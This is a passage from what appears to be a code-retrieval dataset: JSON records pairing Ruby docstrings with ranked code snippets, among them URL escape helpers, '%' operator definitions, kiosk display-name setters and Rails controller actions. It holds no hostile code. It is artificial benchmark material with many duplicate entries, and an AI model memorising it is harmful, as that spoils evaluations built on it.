"text": "def percent!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 24 )\n\n type = PERCENT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 162:11: '%'\n match( 0x25 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 24 )\n\n end",
"title": ""
},
{
"docid": "2a2ad1afb7b44df1263ca535a69302fa",
"score": "0.5657236",
"text": "def signed=(_arg0); end",
"title": ""
},
{
"docid": "cffe0787a7fd77d2ce8b53dfdbd05f49",
"score": "0.5652148",
"text": "def escape(s)\n s.to_s.gsub(/([^ a-zA-Z0-9_.-]+)/n) {\n '%' + $1.unpack('H2'*$1.size).join('%').upcase\n }.tr(' ', '+')\n end",
"title": ""
},
{
"docid": "746c6ed31129ad22ab4c90188030ad7b",
"score": "0.56502634",
"text": "def %(*args)\n\t\treturn \"\" if self.empty?\n case \n when args.first.is_a?(RubyUnits::Unit)\n args.first.to_s(self)\n when (!defined?(Uncertain).nil? && args.first.is_a?(Uncertain))\n args.first.to_s(self)\n when args.first.is_a?(Complex)\n args.first.to_s\n else\n unit_format(*args)\n end\n end",
"title": ""
},
{
"docid": "290dab26dca61d3cd8c5e8fec5c436b1",
"score": "0.56411695",
"text": "def signed_start=(_arg0); end",
"title": ""
},
{
"docid": "96e82f633ac10c816ddefd0351251946",
"score": "0.5638599",
"text": "def sign(msg)\n msg.to_bn.mod_exp(@d, @n) % @n\n end",
"title": ""
},
{
"docid": "f4f15d8095fdc1d21efdb1fc6384ca3f",
"score": "0.5636725",
"text": "def BEG10=(arg)",
"title": ""
},
{
"docid": "c44b05b35b6db5a7c8793e3518582a68",
"score": "0.56322527",
"text": "def PER04=(arg)",
"title": ""
},
{
"docid": "1a4094870832d01373a210f5d5bf2ff9",
"score": "0.5620161",
"text": "def initialize(sign)\n @sign = sign\n end",
"title": ""
},
{
"docid": "42ffca3e4e9d0b7ab6642f349a5a98e9",
"score": "0.56162626",
"text": "def escape_format\n gsub(/%/, \"\\&\\&\")\n end",
"title": ""
},
{
"docid": "669caa384fa616682b4d1e744daac241",
"score": "0.5607285",
"text": "def unescape(s)\n s.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n){\n [$1.delete('%')].pack('H*')\n } \n end",
"title": ""
},
{
"docid": "0d86cb0226bfe0a2d7434457dee480cf",
"score": "0.5600733",
"text": "def BEG04=(arg)",
"title": ""
},
{
"docid": "91573b306fd7f98f39f5f89e60393083",
"score": "0.5596992",
"text": "def escape\n return dup.force_encoding('ASCII-8BIT').gsub(/([^ a-zA-Z0-9_.-]+)/n) {\n '%' + $1.unpack('H2' * $1.size).join('%').upcase\n }.tr(' ', \"+\")\n end",
"title": ""
},
{
"docid": "9e2250d509e8c705b87b452f20338490",
"score": "0.5595585",
"text": "def z(a,t)\n ((a-t)+$o)%26 + t\nend",
"title": ""
},
{
"docid": "64ebae257782e05dc352bd254ef2c975",
"score": "0.5589334",
"text": "def message_symbol(operation)\n case operation\n when \"add\", \"+\"\n # When addition, return +\n return \"+\"\n # When subtraction, return -\n when \"subtract\", \"-\"\n return \"-\"\n # When multiplication, return *\n when \"multiply\", \"*\"\n return \"*\"\n # When division, return /\n when \"divide\", \"/\"\n return \"/\"\n # When exponent, return **\n when \"exponent\", \"**\"\n return \"**\"\n # When modulo, return %\n when \"modulo\", \"%\"\n return \"%\"\n end\nend",
"title": ""
},
{
"docid": "3e5fa6f4102eb3fb5ac7a4a71fd454d9",
"score": "0.5585207",
"text": "def %(other)\n self.divmod(other).last\n end",
"title": ""
},
{
"docid": "f22d311e1c761379db8a6492a512c1d1",
"score": "0.5577217",
"text": "def remainder_mark=(_arg0); end",
"title": ""
},
{
"docid": "9070e69b90902bbd0d51650de7cb0284",
"score": "0.5561754",
"text": "def BEG11=(arg)",
"title": ""
},
{
"docid": "879b3ec12c9d6244f5fdd7c12818540a",
"score": "0.5560608",
"text": "def unescape(s)\n s.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n){\n [$1.delete('%')].pack('H*')\n }\n end",
"title": ""
},
{
"docid": "879b3ec12c9d6244f5fdd7c12818540a",
"score": "0.5560608",
"text": "def unescape(s)\n s.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n){\n [$1.delete('%')].pack('H*')\n }\n end",
"title": ""
},
{
"docid": "299990084d28bdb7a2a7b53af63df8ca",
"score": "0.55545247",
"text": "def unescape(s)\n s.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n){\n [$1.delete('%')].pack('H*')\n }\n end",
"title": ""
},
{
"docid": "a132307c37bd0d94860f0063b2af18fe",
"score": "0.55544883",
"text": "def PER05=(arg)",
"title": ""
},
{
"docid": "68cac16baf8932a8dfb57155915328fb",
"score": "0.55461246",
"text": "def PER07=(arg)",
"title": ""
},
{
"docid": "0d6574bd7981c7eb0b3dabf945dce320",
"score": "0.55400246",
"text": "def u(string)\n\tstring.gsub(/([^a-zA-Z0-9_.-]+)/n) do\n\t\t'%' + $1.unpack('H2' * $1.size).join('%').upcase\n\tend\nend",
"title": ""
},
{
"docid": "0d6574bd7981c7eb0b3dabf945dce320",
"score": "0.55400246",
"text": "def u(string)\n\tstring.gsub(/([^a-zA-Z0-9_.-]+)/n) do\n\t\t'%' + $1.unpack('H2' * $1.size).join('%').upcase\n\tend\nend",
"title": ""
},
{
"docid": "abf7046eab7ff6604b3a214add635dbe",
"score": "0.5534633",
"text": "def unescape(s)\n s.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n){\n [$1.delete('%')].pack('H*')\n } if s\n end",
"title": ""
},
{
"docid": "c197bc8e30e1139310aa8fe3b940185d",
"score": "0.5526574",
"text": "def BEG08=(arg)",
"title": ""
},
{
"docid": "532d2021f3ad1d6fc752033a264a5b71",
"score": "0.55236775",
"text": "def SymBeg(value); end",
"title": ""
},
{
"docid": "497cc3c3a0d83d0cb27a1d1c190f05cc",
"score": "0.5523615",
"text": "def sign(args)\n Digest::MD5.hexdigest(string_to_sign(args))\n end",
"title": ""
},
{
"docid": "a27119829e9723900f26ddb2d62fca47",
"score": "0.55159885",
"text": "def PER03=(arg)",
"title": ""
},
{
"docid": "a85c403610e1aed581af3ab98316c130",
"score": "0.5510504",
"text": "def N401=(arg)",
"title": ""
},
{
"docid": "b26376ed444ac0f708408cab3df3e919",
"score": "0.5507748",
"text": "def oM\n binary_operator \"%\"\n end",
"title": ""
},
{
"docid": "65b66d195962d522e13fe8101cbd5182",
"score": "0.5507264",
"text": "def escape(s)\n s.to_s.gsub(/([^ a-zA-Z0-9_.-]+)/n) {\n '%'+$1.unpack('H2'*bytesize($1)).join('%').upcase\n }.tr(' ', '+')\n end",
"title": ""
},
{
"docid": "3c5669a0261b45726a18213d079ee519",
"score": "0.5505775",
"text": "def % other\n binary_operation :%, other\n end",
"title": ""
},
{
"docid": "d114f7cce49da9b52b6106491e162207",
"score": "0.55000174",
"text": "def escape(s)\n\t\t\ts.to_s.gsub(/([^ a-zA-Z0-9_.-]+)/n) {\n\t\t\t\t'%' + $1.unpack('H2'*$1.size).join('%').upcase\n\t\t\t}.tr(' ', '+')\n\t\tend",
"title": ""
},
{
"docid": "e99776061de04a150ee10cc5699539f1",
"score": "0.54949164",
"text": "def ops\n # OPS = OBP + SLG\n '%.3f' % (obp + slg)\n end",
"title": ""
},
{
"docid": "85eec3fbd645cad7948872b31bd8a161",
"score": "0.5484225",
"text": "def escape(s)\n s = s.to_s\n s.gsub(/([^a-zA-Z0-9_.-]+)/) do\n '%' + $1.unpack('H2' * $1.bytesize).join('%').upcase\n end\n end",
"title": ""
},
{
"docid": "85eec3fbd645cad7948872b31bd8a161",
"score": "0.5484225",
"text": "def escape(s)\n s = s.to_s\n s.gsub(/([^a-zA-Z0-9_.-]+)/) do\n '%' + $1.unpack('H2' * $1.bytesize).join('%').upcase\n end\n end",
"title": ""
},
{
"docid": "c7846b84e00325464a83215ec9c3f53c",
"score": "0.54751647",
"text": "def BEG03=(arg)",
"title": ""
},
{
"docid": "386cda786ac2fca653826021289905cd",
"score": "0.54685754",
"text": "def tr_s!(arg0, arg1)\n end",
"title": ""
},
{
"docid": "0accd910d89858bc4a758924a85277e8",
"score": "0.54674983",
"text": "def escape(s)\n s.to_s.gsub(/([^a-zA-Z0-9_.-]+)/n) do\n '%' << $1.unpack('H2'*bytesize($1)).join('%').tap { |c| c.upcase! }\n end\n end",
"title": ""
},
{
"docid": "81796cc5c9ce5b153e8ffbd1ab871672",
"score": "0.54624903",
"text": "def boring_parrot(argument)\n \"#{argument}\"\nend",
"title": ""
},
{
"docid": "81796cc5c9ce5b153e8ffbd1ab871672",
"score": "0.54624903",
"text": "def boring_parrot(argument)\n \"#{argument}\"\nend",
"title": ""
},
{
"docid": "37b87b207275343fe52a7215e88e3cd6",
"score": "0.54574305",
"text": "def format=(_arg0); end",
"title": ""
},
{
"docid": "37b87b207275343fe52a7215e88e3cd6",
"score": "0.54574305",
"text": "def format=(_arg0); end",
"title": ""
},
{
"docid": "37b87b207275343fe52a7215e88e3cd6",
"score": "0.54574305",
"text": "def format=(_arg0); end",
"title": ""
},
{
"docid": "37b87b207275343fe52a7215e88e3cd6",
"score": "0.54574305",
"text": "def format=(_arg0); end",
"title": ""
},
{
"docid": "60d678fa34827724e051ac1d20ec5d8b",
"score": "0.5452499",
"text": "def unescape(string)\n string.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n) do\n [$1.delete('%')].pack('H*')\n end\n\tend",
"title": ""
}
] |
da504b7b9b7a238bcfd8604c5e658660
|
Sets the kioskAppDisplayName property value. Specifies the display text for the account shown on the signin screen which launches the app specified by SetKioskAppUserModelId. Only applies when KioskAppUserModelId is set.
|
[
{
"docid": "0585b1e6151b5b1e5de340cdac4517cb",
"score": "0.76605266",
"text": "def kiosk_app_display_name=(value)\n @kiosk_app_display_name = value\n end",
"title": ""
}
] |
[
{
"docid": "aceb72437e7cb406615db6785eb88fa9",
"score": "0.6731288",
"text": "def app_display_name=(value)\n @app_display_name = value\n end",
"title": ""
},
{
"docid": "aceb72437e7cb406615db6785eb88fa9",
"score": "0.6731288",
"text": "def app_display_name=(value)\n @app_display_name = value\n end",
"title": ""
},
{
"docid": "aceb72437e7cb406615db6785eb88fa9",
"score": "0.6731288",
"text": "def app_display_name=(value)\n @app_display_name = value\n end",
"title": ""
},
{
"docid": "e2df6f9bfff59a76f4c9d975e2359671",
"score": "0.6487688",
"text": "def kiosk_app_display_name\n return @kiosk_app_display_name\n end",
"title": ""
},
{
"docid": "424cfe50b3d52f90eb5944a1b29143cf",
"score": "0.5624869",
"text": "def user_display_name=(value)\n @user_display_name = value\n end",
"title": ""
},
{
"docid": "424cfe50b3d52f90eb5944a1b29143cf",
"score": "0.5624869",
"text": "def user_display_name=(value)\n @user_display_name = value\n end",
"title": ""
},
{
"docid": "424cfe50b3d52f90eb5944a1b29143cf",
"score": "0.5624869",
"text": "def user_display_name=(value)\n @user_display_name = value\n end",
"title": ""
},
{
"docid": "bcec3664c6c2a5c5e441df86134e886f",
"score": "0.5532423",
"text": "def app_display_name\n return @app_display_name\n end",
"title": ""
},
{
"docid": "bcec3664c6c2a5c5e441df86134e886f",
"score": "0.5532423",
"text": "def app_display_name\n return @app_display_name\n end",
"title": ""
},
{
"docid": "bcec3664c6c2a5c5e441df86134e886f",
"score": "0.5532423",
"text": "def app_display_name\n return @app_display_name\n end",
"title": ""
},
{
"docid": "407caad4e48fba782a96c13143c589dc",
"score": "0.5285638",
"text": "def kiosk_app_user_model_id=(value)\n @kiosk_app_user_model_id = value\n end",
"title": ""
},
{
"docid": "ec0d4c166c2d2603123d515ee2aea754",
"score": "0.52747095",
"text": "def device_display_name=(value)\n @device_display_name = value\n end",
"title": ""
},
{
"docid": "ec0d4c166c2d2603123d515ee2aea754",
"score": "0.52747095",
"text": "def device_display_name=(value)\n @device_display_name = value\n end",
"title": ""
},
{
"docid": "331a1d7890c0bf8b5a2e9bde98fbb1c8",
"score": "0.5192182",
"text": "def kiosk_mode_apps=(value)\n @kiosk_mode_apps = value\n end",
"title": ""
},
{
"docid": "cbe1452e6ff53496c244085c0879a300",
"score": "0.49876356",
"text": "def setDisplayTitle(value)\n @fields['display_title'] = value\n self\n end",
"title": ""
},
{
"docid": "cbe1452e6ff53496c244085c0879a300",
"score": "0.49876356",
"text": "def setDisplayTitle(value)\n @fields['display_title'] = value\n self\n end",
"title": ""
},
{
"docid": "cbe1452e6ff53496c244085c0879a300",
"score": "0.49876356",
"text": "def setDisplayTitle(value)\n @fields['display_title'] = value\n self\n end",
"title": ""
},
{
"docid": "574e3134c055235d6c615e3965c8d6c7",
"score": "0.49836785",
"text": "def set_name\n @appname = \"Bike London\"\n end",
"title": ""
},
{
"docid": "43221bb06be76a91ecf7e5242dcfb83c",
"score": "0.4975048",
"text": "def app_name=(value)\n @app_name = value\n end",
"title": ""
},
{
"docid": "43221bb06be76a91ecf7e5242dcfb83c",
"score": "0.4975048",
"text": "def app_name=(value)\n @app_name = value\n end",
"title": ""
},
{
"docid": "0a797c5c67f23bf76cd848818c6b32e3",
"score": "0.495206",
"text": "def display_device_name=(value)\n @display_device_name = value\n end",
"title": ""
},
{
"docid": "1a936c65c28723d6f8eb515db1863971",
"score": "0.48867938",
"text": "def kiosk_mode_managed_app_id=(value)\n @kiosk_mode_managed_app_id = value\n end",
"title": ""
},
{
"docid": "13d80423951b54c25203b7b29376aa26",
"score": "0.4878122",
"text": "def set_default_display_name\n self['display_name'] = gn if display_name.blank?\n end",
"title": ""
},
{
"docid": "7f432f647c47d6191f5151aeee7fcf42",
"score": "0.4861374",
"text": "def kiosk_mode_built_in_app_id=(value)\n @kiosk_mode_built_in_app_id = value\n end",
"title": ""
},
{
"docid": "abe17a1b44844e854435af27c40bd88a",
"score": "0.48512483",
"text": "def application_name=(value)\n @application_name = value\n end",
"title": ""
},
{
"docid": "901117386abd75620fed30a83ea9d859",
"score": "0.4838216",
"text": "def set_AppKeyName(value)\n set_input(\"AppKeyName\", value)\n end",
"title": ""
},
{
"docid": "901117386abd75620fed30a83ea9d859",
"score": "0.4838216",
"text": "def set_AppKeyName(value)\n set_input(\"AppKeyName\", value)\n end",
"title": ""
},
{
"docid": "901117386abd75620fed30a83ea9d859",
"score": "0.4838216",
"text": "def set_AppKeyName(value)\n set_input(\"AppKeyName\", value)\n end",
"title": ""
},
{
"docid": "901117386abd75620fed30a83ea9d859",
"score": "0.4838216",
"text": "def set_AppKeyName(value)\n set_input(\"AppKeyName\", value)\n end",
"title": ""
},
{
"docid": "901117386abd75620fed30a83ea9d859",
"score": "0.4838216",
"text": "def set_AppKeyName(value)\n set_input(\"AppKeyName\", value)\n end",
"title": ""
},
{
"docid": "901117386abd75620fed30a83ea9d859",
"score": "0.4838216",
"text": "def set_AppKeyName(value)\n set_input(\"AppKeyName\", value)\n end",
"title": ""
},
{
"docid": "901117386abd75620fed30a83ea9d859",
"score": "0.4838216",
"text": "def set_AppKeyName(value)\n set_input(\"AppKeyName\", value)\n end",
"title": ""
},
{
"docid": "901117386abd75620fed30a83ea9d859",
"score": "0.4838216",
"text": "def set_AppKeyName(value)\n set_input(\"AppKeyName\", value)\n end",
"title": ""
},
{
"docid": "901117386abd75620fed30a83ea9d859",
"score": "0.4838216",
"text": "def set_AppKeyName(value)\n set_input(\"AppKeyName\", value)\n end",
"title": ""
},
{
"docid": "901117386abd75620fed30a83ea9d859",
"score": "0.4838216",
"text": "def set_AppKeyName(value)\n set_input(\"AppKeyName\", value)\n end",
"title": ""
},
{
"docid": "901117386abd75620fed30a83ea9d859",
"score": "0.4838216",
"text": "def set_AppKeyName(value)\n set_input(\"AppKeyName\", value)\n end",
"title": ""
},
{
"docid": "901117386abd75620fed30a83ea9d859",
"score": "0.4838216",
"text": "def set_AppKeyName(value)\n set_input(\"AppKeyName\", value)\n end",
"title": ""
},
{
"docid": "919c43ca854be4f7f29007814088127b",
"score": "0.48201486",
"text": "def set_displayname(path,display_name)\n result = $evm.instance_set_display_name(path, display_name)\n return result\n end",
"title": ""
},
{
"docid": "b1cced9a1dd766caf760b7e772e86109",
"score": "0.48126835",
"text": "def chat_display_name=(value)\n @chat_display_name = value\n end",
"title": ""
},
{
"docid": "cbc9b1926cc3b94e0729584d07df8609",
"score": "0.47700232",
"text": "def set_application_name(name)\n __remote_control_command(\"setScApplicationName\", [name,])\n end",
"title": ""
},
{
"docid": "ebadbfcca5530e229e94358ed2094709",
"score": "0.4753569",
"text": "def display_name=(name)\n @display_name ||= name\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f55a08eda0db51e04679b85fd00906fe",
"score": "0.47240478",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "f8b82849d436c502d2b90dcc5a0ef62a",
"score": "0.47163588",
"text": "def app_name=(value)\n @children['app-name'][:value] = value\n end",
"title": ""
},
{
"docid": "b2e0db4c19d6c08cbe30e9586bac2377",
"score": "0.47119504",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "ce126aabff6937441aba1d6f6db96b0b",
"score": "0.46944207",
"text": "def display_name(display_name)\n @display_name = display_name\n self\n end",
"title": ""
},
{
"docid": "276789975aedfbf712ac417632e042f3",
"score": "0.46833444",
"text": "def generate_default_display_name\n if self.display_name.blank?\n self.display_name = (email.blank? ? \"[no name]\" : self.email.split(\"@\")[0])\n end\n end",
"title": ""
},
{
"docid": "87d4e916e68d5473facbfa7a4b9064d0",
"score": "0.46731326",
"text": "def name=(display_name)\r\n\t\t\t`#{BITS::BITSADMIN} /setdisplayname {#{@id}} \\\"#{display_name}\\\"`\r\n\t\tend",
"title": ""
},
{
"docid": "e538ba48f711e6e6d41c62547911bce6",
"score": "0.46648058",
"text": "def display_name=(value)\n @display_name = value\n end",
"title": ""
},
{
"docid": "67c8e69cf0548b947d2cd17f774aa12b",
"score": "0.46574843",
"text": "def get_display_name\n @display_name ||= self.user.display_name\n end",
"title": ""
},
{
"docid": "6e89ebe8224a4de1de4b0c2a3c2a5f69",
"score": "0.46482712",
"text": "def user_display_name\n @attributes[:user_display_name]\n end",
"title": ""
},
{
"docid": "6188662c6aca6fbb6b946a13500dc6c1",
"score": "0.46077237",
"text": "def appname\n @appname = \"Jazzify\"\n end",
"title": ""
},
{
"docid": "8de445c61c34fd3b1361d27b6c0bbd2a",
"score": "0.45799896",
"text": "def appname=(appname)\n validate_options(appname: appname)\n @appname = appname\n end",
"title": ""
},
{
"docid": "0bc9a2de5b4a8b0c70880de276003df6",
"score": "0.45587337",
"text": "def user_display_name\n return @user_display_name\n end",
"title": ""
},
{
"docid": "0bc9a2de5b4a8b0c70880de276003df6",
"score": "0.45587337",
"text": "def user_display_name\n return @user_display_name\n end",
"title": ""
},
{
"docid": "0bc9a2de5b4a8b0c70880de276003df6",
"score": "0.45587337",
"text": "def user_display_name\n return @user_display_name\n end",
"title": ""
},
{
"docid": "5e9af48b8a100b36f2abca00655017c4",
"score": "0.4525207",
"text": "def display_name\n entry = JSON.parse(self.entry)\n user = User.find(user_id)\n \"#{user.display_name} #{entry['text']}\"\n end",
"title": ""
},
{
"docid": "cdc605f2203e38450e5b180f178cb515",
"score": "0.45054564",
"text": "def display_name=(value)\n @children['display-name'][:value] = value\n end",
"title": ""
}
] |
6cccef40752f314da89067b9eefe5d96
|
POST /manutencoes POST /manutencoes.json
|
[
{
"docid": "83d6006b76d2269e8fae14bc6417f95a",
"score": "0.67264193",
"text": "def create\n @manutencao = @carro.manutencoes.new(manutencao_params)\n\n respond_to do |format|\n if @manutencao.save\n format.html { redirect_to [@unidade, @patio, @carro, @manutencao], notice: 'Manutencao was successfully created.' }\n format.json { render :show, status: :created, location: [@unidade, @patio, @carro, @manutencao] }\n else\n format.html { render :new }\n format.json { render json: @manutencao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "8c12758970d22acb477adbf23a8668a2",
"score": "0.6563789",
"text": "def create\n @manutencao = Manutencao.new(manutencao_params)\n\n respond_to do |format|\n if @manutencao.save\n format.html { redirect_to manutencoes_url, notice: 'Manutenção criada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :new }\n format.json { render json: @manutencao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3f2ad201d602e5bc7f748fbd4638d052",
"score": "0.6410114",
"text": "def create\n @manutencao = Manutencao.new(manutencao_params)\n # @manutencao = manutencao_params([:veiculo_id])\n\n respond_to do |format|\n if @manutencao.save\n format.html { redirect_to @manutencao, notice: 'Manutencao was successfully created.' }\n format.json { render :show, status: :created, location: @manutencao }\n else\n format.html { render :new }\n format.json { render json: @manutencao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa640f4ab7a8469395e4be6d62264a1b",
"score": "0.6254387",
"text": "def create\n @moeda = Moeda.new(params[:moeda])\n\n respond_to do |format|\n if @moeda.save\n format.html { redirect_to @moeda, notice: 'Moeda was successfully created.' }\n format.json { render json: @moeda, status: :created, location: @moeda }\n else\n format.html { render action: \"new\" }\n format.json { render json: @moeda.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "299a7e2612cd1ed496eafc743bc76e5a",
"score": "0.610185",
"text": "def create\n @anuncio = Anuncio.new(anuncio_params)\n @anuncio.id_usuario = Usuario.find_token(@anuncio.token).id\n @anuncio.negocio_fechado = false\n @anuncio.visualizacoes = 0\n Termo.gravartermo(@anuncio.titulo)\n #Termo.gravartermo(@anuncio.descricao)\n\n respond_to do |format|\n if @anuncio.save\n format.html { redirect_to @anuncio, notice: 'Anuncio was successfully created.' }\n format.json { render :show, status: :created, location: @anuncio }\n else\n format.html { render :new }\n format.json { render json: @anuncio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9906e5e0271775f97ba14d6ca4e4d312",
"score": "0.60899526",
"text": "def create\n @nominee = Nominee.new(nominee_params)\n\n respond_to do |format|\n if @nominee.save\n format.html { redirect_to @nominee, notice: 'Nominee was successfully created.' }\n format.json { render :show, status: :created, location: @nominee }\n else\n format.html { render :new }\n format.json { render json: @nominee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b8e4148f5c6bfe635f49592ce0891b6",
"score": "0.6075975",
"text": "def create\n @miembro = Miembro.new(params[:miembro])\n\n respond_to do |format|\n if @miembro.save\n format.html { redirect_to @miembro, notice: 'Miembro was successfully created.' }\n format.json { render json: @miembro, status: :created, location: @miembro }\n else\n format.html { render action: \"new\" }\n format.json { render json: @miembro.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8ad229aa76197f3866e026a4548c90b5",
"score": "0.6059679",
"text": "def create\n @moeda = Moeda.new(moeda_params)\n\n respond_to do |format|\n if @moeda.save\n format.html { redirect_to @moeda, notice: 'Moeda was successfully created.' }\n format.json { render :show, status: :created, location: @moeda }\n else\n format.html { render :new }\n format.json { render json: @moeda.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d94874a11d395194a45c1c1a5dc9def2",
"score": "0.6054207",
